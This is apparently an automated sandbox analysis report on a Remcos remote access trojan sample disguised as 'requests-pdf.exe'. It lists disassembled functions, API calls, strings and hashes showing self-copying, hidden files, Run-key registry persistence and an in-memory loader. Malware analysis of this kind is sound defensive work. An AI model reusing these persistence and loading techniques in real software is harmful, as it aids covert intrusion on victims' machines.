                                                      • Part of subcall function 0041BCE3: GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040D783), ref: 0041BDE5
                                                      • Part of subcall function 0041BCE3: GetProcAddress.KERNEL32(00000000), ref: 0041BDE8
                                                      • Part of subcall function 0041BCE3: GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040D783), ref: 0041BDF5
                                                      • Part of subcall function 0041BCE3: GetProcAddress.KERNEL32(00000000), ref: 0041BDF8
                                                      • Part of subcall function 0041BCE3: LoadLibraryA.KERNEL32(Shlwapi,0000000C,?,?,?,?,0040D783), ref: 0041BE06
                                                    • GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\requests-pdf.exe,00000104), ref: 0040D790
                                                      • Part of subcall function 0040FCBA: __EH_prolog.LIBCMT ref: 0040FCBF
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: AddressProc$Module$Handle$LibraryLoad$FileH_prologName
                                                    • String ID: 0DG$@CG$@CG$Access Level: $Administrator$C:\Users\user\Desktop\requests-pdf.exe$Exe$Exe$Inj$Remcos Agent initialized$Rmc-I7G983$Software\$User$XCG$XCG$XCG$XCG$XCG$XCG$XCG$XCG$XCG$XCG$XCG$XCG$XCG$XCG$XCG$XCG$`=G$dCG$del$del$exepath$licence$license_code.txt$BG$BG$BG$BG$BG
                                                    • API String ID: 2830904901-1371421053
                                                    • Opcode ID: 1484b2f7a7f91c3ee938c637a9a7dae7839d2338987acae383d1c6a0cb17adc1
                                                    • Instruction ID: 4071723a11783d2da8da933f82134b9c6f3815e49c8d87d463163304bf45e319
                                                    • Opcode Fuzzy Hash: 1484b2f7a7f91c3ee938c637a9a7dae7839d2338987acae383d1c6a0cb17adc1
                                                    • Instruction Fuzzy Hash: 4032A360B043406ADA18B776DC57BBE269A8FC1748F04443FB8467B2E2DE7C9D45839E
                                                    Function 00402501 Relevance: 1.3, Strings: 1, Instructions: 74COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID: >G
                                                    • API String ID: 0-1296849874
                                                    • Opcode ID: 03d8eab04640ee1141a7d8b30153260a24a42990aae5561e6838c8679f43b2e9
                                                    • Instruction ID: 32f497cd8e98a5350a941aeb96112af693c1ce6de832e68682171a9cc266a366
                                                    • Opcode Fuzzy Hash: 03d8eab04640ee1141a7d8b30153260a24a42990aae5561e6838c8679f43b2e9
                                                    • Instruction Fuzzy Hash: 511166725043056FD604EF61DD4686BB7DCEB84314B00083FF501A71D2EAB9A944C665
                                                    Function 0040BC67 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 203fileCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    APIs
                                                    • _wcslen.LIBCMT ref: 0040BC75
                                                    • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,?,00474358,0000000E,00000027,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E), ref: 0040BC8E
                                                    • CopyFileW.KERNEL32(C:\Users\user\Desktop\requests-pdf.exe,00000000,00000000,00000000,00000000,00000000,?,00474358,0000000E,00000027,0000000D,00000033,00000000,00000032,00000000,Exe), ref: 0040BD3E
                                                    • _wcslen.LIBCMT ref: 0040BD54
                                                    • CreateDirectoryW.KERNEL32(00000000,00000000,00000000), ref: 0040BDDC
                                                    • CopyFileW.KERNEL32(C:\Users\user\Desktop\requests-pdf.exe,00000000,00000000), ref: 0040BDF2
                                                    • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040BE31
                                                    • _wcslen.LIBCMT ref: 0040BE34
                                                    • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040BE4B
                                                    • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00474358,0000000E), ref: 0040BE9B
                                                    • ShellExecuteW.SHELL32(00000000,open,00000000,00465900,00465900,00000001), ref: 0040BEB9
                                                    • ExitProcess.KERNEL32 ref: 0040BED0
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: File$_wcslen$AttributesCopyCreateDirectory$CloseExecuteExitHandleProcessShell
                                                    • String ID: 6$C:\Users\user\Desktop\requests-pdf.exe$del$open$BG$BG
                                                    • API String ID: 1579085052-2457853043
                                                    • Opcode ID: 1dfc8a95e9f2fa8f15eef755b153a8034996a407d8c67b2864cbd51f99b60f53
                                                    • Instruction ID: b3868b96a5a73c1b880f625a38b4c220dd420420d05b0a2cc1e840e3cd02b35d
                                                    • Opcode Fuzzy Hash: 1dfc8a95e9f2fa8f15eef755b153a8034996a407d8c67b2864cbd51f99b60f53
                                                    • Instruction Fuzzy Hash: D251B0212043406BD609B722EC52EBF77999F81719F10443FF985A66E2DF3CAD4582EE
                                                    Function 0040C89E Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 139COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    APIs
                                                    • GetLongPathNameW.KERNEL32(00000000,?,00000208), ref: 0040CA04
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: LongNamePath
                                                    • String ID: AppData$ProgramData$ProgramFiles$SystemDrive$Temp$UserProfile$WinDir$\SysWOW64$\system32
                                                    • API String ID: 82841172-425784914
                                                    • Opcode ID: 2c32c8423f05266584aa4a08fe5fa9c2e4569a415b98fb848e0406cdb68be249
                                                    • Instruction ID: 51cedb133b73bca78a9fc1065318242b3d6e678e936cb09da4a185c9a299c852
                                                    • Opcode Fuzzy Hash: 2c32c8423f05266584aa4a08fe5fa9c2e4569a415b98fb848e0406cdb68be249
                                                    • Instruction Fuzzy Hash: 39413A721442009BC214FB21DD96DAFB7A4AE90759F10063FB546720E2EE7CAA49C69F
                                                    Function 024D003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515memoryCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 628 24d003c-24d0047 629 24d004c-24d0263 call 24d0a3f call 24d0e0f call 24d0d90 VirtualAlloc 628->629 630 24d0049 628->630 645 24d028b-24d0292 629->645 646 24d0265-24d0289 call 24d0a69 629->646 630->629 648 24d02a1-24d02b0 645->648 650 24d02ce-24d03c2 VirtualProtect call 24d0cce call 24d0ce7 646->650 648->650 651 24d02b2-24d02cc 648->651 657 24d03d1-24d03e0 650->657 651->648 658 24d0439-24d04b8 VirtualFree 657->658 659 24d03e2-24d0437 call 24d0ce7 657->659 661 24d04be-24d04cd 658->661 662 24d05f4-24d05fe 658->662 659->657 664 24d04d3-24d04dd 661->664 665 24d077f-24d0789 662->665 666 24d0604-24d060d 662->666 664->662 670 24d04e3-24d0505 LoadLibraryA 664->670 668 24d078b-24d07a3 665->668 669 24d07a6-24d07b0 665->669 666->665 671 24d0613-24d0637 666->671 668->669 672 24d086e-24d08be LoadLibraryA 669->672 673 24d07b6-24d07cb 669->673 674 24d0517-24d0520 670->674 675 24d0507-24d0515 670->675 676 24d063e-24d0648 671->676 681 24d08c7-24d08f9 672->681 677 24d07d2-24d07d5 673->677 678 24d0526-24d0547 674->678 675->678 676->665 679 24d064e-24d065a 676->679 682 24d0824-24d0833 677->682 683 24d07d7-24d07e0 677->683 684 24d054d-24d0550 678->684 679->665 680 24d0660-24d066a 679->680 687 24d067a-24d0689 680->687 689 24d08fb-24d0901 681->689 690 24d0902-24d091d 681->690 688 24d0839-24d083c 682->688 691 24d07e4-24d0822 683->691 692 24d07e2 683->692 685 24d0556-24d056b 684->685 686 24d05e0-24d05ef 684->686 693 24d056d 685->693 694 24d056f-24d057a 685->694 686->664 695 24d068f-24d06b2 687->695 696 24d0750-24d077a 687->696 688->672 697 24d083e-24d0847 688->697 689->690 691->677 692->682 693->686 698 24d057c-24d0599 694->698 699 24d059b-24d05bb 694->699 700 24d06ef-24d06fc 695->700 701 24d06b4-24d06ed 695->701 696->676 702 24d0849 697->702 703 24d084b-24d086c 697->703 711 24d05bd-24d05db 698->711 699->711 705 24d06fe-24d0748 700->705 706 24d074b 700->706 701->700 702->672 703->688 705->706 706->687 711->684
                                                    APIs
                                                    • VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 024D024D
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: AllocVirtual
                                                    • String ID: cess$kernel32.dll
                                                    • API String ID: 4275171209-1230238691
                                                    • Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
                                                    • Instruction ID: 7dfa5eab87d3fbf2d6ffd66030db926483bb27c01592beaa7d02c73a9093e443
                                                    • Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
                                                    • Instruction Fuzzy Hash: 8C526A74A01229DFDB64CF58C994BADBBB1BF09304F1480DAE94DAB351DB30AA85CF14
                                                    Function 0041A463 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 59COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    APIs
                                                      • Part of subcall function 0041B15B: GetCurrentProcess.KERNEL32(?,?,?,0040C914,WinDir,00000000,00000000), ref: 0041B16C
                                                      • Part of subcall function 0041B15B: IsWow64Process.KERNEL32(00000000,?,?,0040C914,WinDir,00000000,00000000), ref: 0041B173
                                                      • Part of subcall function 00412513: RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 00412537
                                                      • Part of subcall function 00412513: RegQueryValueExA.KERNEL32(?,?,00000000,00000000,?,00000400), ref: 00412554
                                                      • Part of subcall function 00412513: RegCloseKey.KERNEL32(?), ref: 0041255F
                                                    • StrToIntA.SHLWAPI(00000000,0046BC48,?,00000000,00000000,00474358,00000003,Exe,00000000,0000000E,00000000,0046556C,00000003,00000000), ref: 0041A4D9
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Process$CloseCurrentOpenQueryValueWow64
                                                    • String ID: (32 bit)$ (64 bit)$CurrentBuildNumber$ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
                                                    • API String ID: 782494840-2070987746
                                                    • Opcode ID: c28e8bf06c7bd464c54825a7174b2fee0dd0f803164bd22ac966e04bdcbe38d4
                                                    • Instruction ID: 19977b185b3bcff34fa520d2ecc4782d624f476aadfe6515b429a208ce335d2f
                                                    • Opcode Fuzzy Hash: c28e8bf06c7bd464c54825a7174b2fee0dd0f803164bd22ac966e04bdcbe38d4
                                                    • Instruction Fuzzy Hash: EF11E9A060020166C704B365DCABDBF765ADB90304F50443FB906E31D2EB6C9E9683EE
                                                    Function 00412774 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38registryCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 736 412774-412787 RegCreateKeyW 737 4127c6 736->737 738 412789-4127c4 call 4022f8 call 401e07 RegSetValueExW RegCloseKey 736->738 740 4127c8-4127d4 call 401e13 737->740 738->740
                                                    APIs
                                                    • RegCreateKeyW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\,?), ref: 0041277F
                                                    • RegSetValueExW.KERNEL32(?,00000000,00000000,00000001,00000000,00000000,?,?,?,?,00000000,004742E0,759237E0,?), ref: 004127AD
                                                    • RegCloseKey.ADVAPI32(?,?,?,?,?,00000000,004742E0,759237E0,?,?,?,?,?,0040BE18,?,00000000), ref: 004127B8
                                                    Strings
                                                    • Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 0041277D
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseCreateValue
                                                    • String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
                                                    • API String ID: 1818849710-1051519024
                                                    • Opcode ID: f3f4d92ea395f83514c7fc898d5ccc6e166341d4c45edfed3dd661c905dadffd
                                                    • Instruction ID: fff2d7bcc465bc574364a4979b4b77ba115ffea085319746951fe37a0eeb78e5
                                                    • Opcode Fuzzy Hash: f3f4d92ea395f83514c7fc898d5ccc6e166341d4c45edfed3dd661c905dadffd
                                                    • Instruction Fuzzy Hash: 9FF0CD31500218BBDF109FA0ED46EEF37ACAB40B50F104539F902A60A1E675DB14DAA4
                                                    Function 0040BED7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13synchronizationCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 746 40bed7-40bf03 call 401e8f CreateMutexA GetLastError
                                                    APIs
                                                    • CreateMutexA.KERNEL32(00000000,00000001,00000000,0040D9AA,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E,00000000,0046556C,00000003,00000000), ref: 0040BEE6
                                                    • GetLastError.KERNEL32 ref: 0040BEF1
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CreateErrorLastMutex
                                                    • String ID: Rmc-I7G983
                                                    • API String ID: 1925916568-3173645232
                                                    • Opcode ID: defc0333e3605ddb085507e8cb5f1de2847b42d11ba618549d06c615cf8541f0
                                                    • Instruction ID: f970ec9d0541ab61c93bafde2a4f59c5c821b48a7874ab2150ad5935bc14b509
                                                    • Opcode Fuzzy Hash: defc0333e3605ddb085507e8cb5f1de2847b42d11ba618549d06c615cf8541f0
                                                    • Instruction Fuzzy Hash: 75D012707083009BD7181774BC8A77D3555E784703F00417AB90FD55E1CB6888409919
                                                    Function 00412513 Relevance: 4.5, APIs: 3, Instructions: 42registryCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 749 412513-41253f RegOpenKeyExA 750 412541-412567 RegQueryValueExA RegCloseKey 749->750 751 412572 749->751 750->751 752 412569-412570 750->752 753 412577-412583 call 401f66 751->753 752->753
                                                    APIs
                                                    • RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 00412537
                                                    • RegQueryValueExA.KERNEL32(?,?,00000000,00000000,?,00000400), ref: 00412554
                                                    • RegCloseKey.KERNEL32(?), ref: 0041255F
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseOpenQueryValue
                                                    • String ID:
                                                    • API String ID: 3677997916-0
                                                    • Opcode ID: 1596a47d3a3a9d7b824bf65cdf317066f9d5dabbc4d5e1023ecf94da71e9672a
                                                    • Instruction ID: 155fce86b91483c744b9f02885d56de91ccd1cdd8f33956e2d71fd22bd1c87ae
                                                    • Opcode Fuzzy Hash: 1596a47d3a3a9d7b824bf65cdf317066f9d5dabbc4d5e1023ecf94da71e9672a
                                                    • Instruction Fuzzy Hash: F0F08176900118BBCB209BA1ED48DEF7FBDEB44751F004066BA06E2150D6749E55DBA8
                                                    Function 004124B7 Relevance: 4.5, APIs: 3, Instructions: 38registryCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 756 4124b7-4124df RegOpenKeyExA 757 4124e1-412509 RegQueryValueExA RegCloseKey 756->757 758 41250f-412512 756->758 757->758 759 41250b-41250e 757->759
                                                    APIs
                                                    • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000), ref: 004124D7
                                                    • RegQueryValueExA.ADVAPI32(00000000,?,00000000,?,?,?), ref: 004124F5
                                                    • RegCloseKey.ADVAPI32(00000000), ref: 00412500
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseOpenQueryValue
                                                    • String ID:
                                                    • API String ID: 3677997916-0
                                                    • Opcode ID: 9045fb9a7a6208df116313aaf282ceb7280aaf27367a6f7e2add9e4d3bf57581
                                                    • Instruction ID: 3c8b5742b91bab9b7a0bfd6479237677f271592d1db5ef4b45a1d16c6b8d7bbd
                                                    • Opcode Fuzzy Hash: 9045fb9a7a6208df116313aaf282ceb7280aaf27367a6f7e2add9e4d3bf57581
                                                    • Instruction Fuzzy Hash: C0F03A76900208BFDF119FA0AC45FDF7BB9EB04B55F1040A1FA05F6291D670DA54EB98
                                                    Function 00A4B29E Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 788 a4b29e-a4b2b7 789 a4b2b9-a4b2bb 788->789 790 a4b2c2-a4b2ce CreateToolhelp32Snapshot 789->790 791 a4b2bd 789->791 792 a4b2d0-a4b2d6 790->792 793 a4b2de-a4b2eb Module32First 790->793 791->790 792->793 798 a4b2d8-a4b2dc 792->798 794 a4b2f4-a4b2fc 793->794 795 a4b2ed-a4b2ee call a4af5d 793->795 799 a4b2f3 795->799 798->789 798->793 799->794
                                                    APIs
                                                    • CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00A4B2C6
                                                    • Module32First.KERNEL32(00000000,00000224), ref: 00A4B2E6
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432620205.0000000000A4A000.00000040.00000020.00020000.00000000.sdmp, Offset: 00A4A000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_a4a000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CreateFirstModule32SnapshotToolhelp32
                                                    • String ID:
                                                    • API String ID: 3833638111-0
                                                    • Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
                                                    • Instruction ID: 2d1e04a58a79b96fcaed45aba6787e73f033638f40676f5c56d218b83d23fbe4
                                                    • Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
                                                    • Instruction Fuzzy Hash: 1CF09639210711ABDB203BF9988DBEE76ECAF89725F100528E656914C0DBB0EC454A71
                                                    Function 0043360D Relevance: 3.0, APIs: 2, Instructions: 38COMMONLIBRARYCODE
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 801 43360d-433610 802 43361f-433622 call 43a88c 801->802 804 433627-43362a 802->804 805 433612-43361d call 442200 804->805 806 43362c-43362d 804->806 805->802 809 43362e-433632 805->809 810 433638-433dec call 433d58 call 437bd7 809->810 811 433ded-433e09 call 433d8b call 437bd7 809->811 810->811
                                                    APIs
                                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 00433DE7
                                                      • Part of subcall function 00437BD7: RaiseException.KERNEL32(?,?,1DC,?,00475B70,00473D54,00000000,?,?,?,?,00434431,?,0046D680,?), ref: 00437C37
                                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 00433E04
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Exception@8Throw$ExceptionRaise
                                                    • String ID:
                                                    • API String ID: 3476068407-0
                                                    • Opcode ID: 0c813f605dd2a6606fe246f0cee3a0605bca7c2744777b4a7d98c309a0a34cf7
                                                    • Instruction ID: 1b32a2814776e74a5aaecdac66354fa275a8f3c838098619b8de34dc4906cb01
                                                    • Opcode Fuzzy Hash: 0c813f605dd2a6606fe246f0cee3a0605bca7c2744777b4a7d98c309a0a34cf7
                                                    • Instruction Fuzzy Hash: 33F02B30C0020D77CB14BEA5E80699D772C4D08319F20923BB920915E1EF7CEB05858D
                                                    Function 024D0E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 821 24d0e0f-24d0e24 SetErrorMode * 2 822 24d0e2b-24d0e2c 821->822 823 24d0e26 821->823 823->822
                                                    APIs
                                                    • SetErrorMode.KERNEL32(00000400,?,?,024D0223,?,?), ref: 024D0E19
                                                    • SetErrorMode.KERNEL32(00000000,?,?,024D0223,?,?), ref: 024D0E1E
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ErrorMode
                                                    • String ID:
                                                    • API String ID: 2340568224-0
                                                    • Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
                                                    • Instruction ID: 2534521eb869227801796736858f0ec2cd7b9ef7bf6d997dca183877aacf320b
                                                    • Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
                                                    • Instruction Fuzzy Hash: 24D0123114512877D7002AA4DC09BCE7B1CDF05B66F008011FB0DD9180C770954046E5
                                                    Function 00446AFF Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 824 446aff-446b0b 825 446b3d-446b48 call 445354 824->825 826 446b0d-446b0f 824->826 833 446b4a-446b4c 825->833 828 446b11-446b12 826->828 829 446b28-446b39 RtlAllocateHeap 826->829 828->829 831 446b14-446b1b call 4447c5 829->831 832 446b3b 829->832 831->825 836 446b1d-446b26 call 442200 831->836 832->833 836->825 836->829
                                                    APIs
                                                    • RtlAllocateHeap.NTDLL(00000000,00434423,?,?,00437227,?,?,00000000,00475B70,?,0040CC87,00434423,?,?,?,?), ref: 00446B31
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: AllocateHeap
                                                    • String ID:
                                                    • API String ID: 1279760036-0
                                                    • Opcode ID: dc6ea950822f8571e228d4b4fa6025b1dc9324ca9cf531c4426aa18bd07b2452
                                                    • Instruction ID: 23017b4f7b15ec8d1e6c8205d578d5100ba2a3a3bb6c043e3f5ab96588fe2cc9
                                                    • Opcode Fuzzy Hash: dc6ea950822f8571e228d4b4fa6025b1dc9324ca9cf531c4426aa18bd07b2452
                                                    • Instruction Fuzzy Hash: 16E0E5312002B556FB202A6A9C05F5B7A88DB437A4F160133AC09D62D0CF5CEC4181AF
                                                    Function 00A4AF5D Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 00A4AFAE
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432620205.0000000000A4A000.00000040.00000020.00020000.00000000.sdmp, Offset: 00A4A000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_a4a000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: AllocVirtual
                                                    • String ID:
                                                    • API String ID: 4275171209-0
                                                    • Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
                                                    • Instruction ID: 1abf48b43f268a084dcbf64afeeca384e75148db78381d5b57d037310f8caa8a
                                                    • Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
                                                    • Instruction Fuzzy Hash: 9C113C79A40208EFDB01DF98CA85E99BFF5AF08351F058094F9489B362D371EA50DF90

                                                    Non-executed Functions

                                                    Function 00406F06 Relevance: 46.3, APIs: 10, Strings: 16, Instructions: 849filesleepCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • SetEvent.KERNEL32(?,?), ref: 00406F28
                                                    • GetFileAttributesW.KERNEL32(00000000,00000000,00000000), ref: 00406FF8
                                                    • DeleteFileW.KERNEL32(00000000), ref: 00407018
                                                      • Part of subcall function 0041B42F: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,00473EE8,00000000), ref: 0041B489
                                                      • Part of subcall function 0041B42F: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,00473EE8,00000000), ref: 0041B4BB
                                                      • Part of subcall function 0041B42F: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,?,00473EE8,00000000), ref: 0041B50C
                                                      • Part of subcall function 0041B42F: FindClose.KERNEL32(00000000,?,?,?,?,?,?,00473EE8,00000000), ref: 0041B561
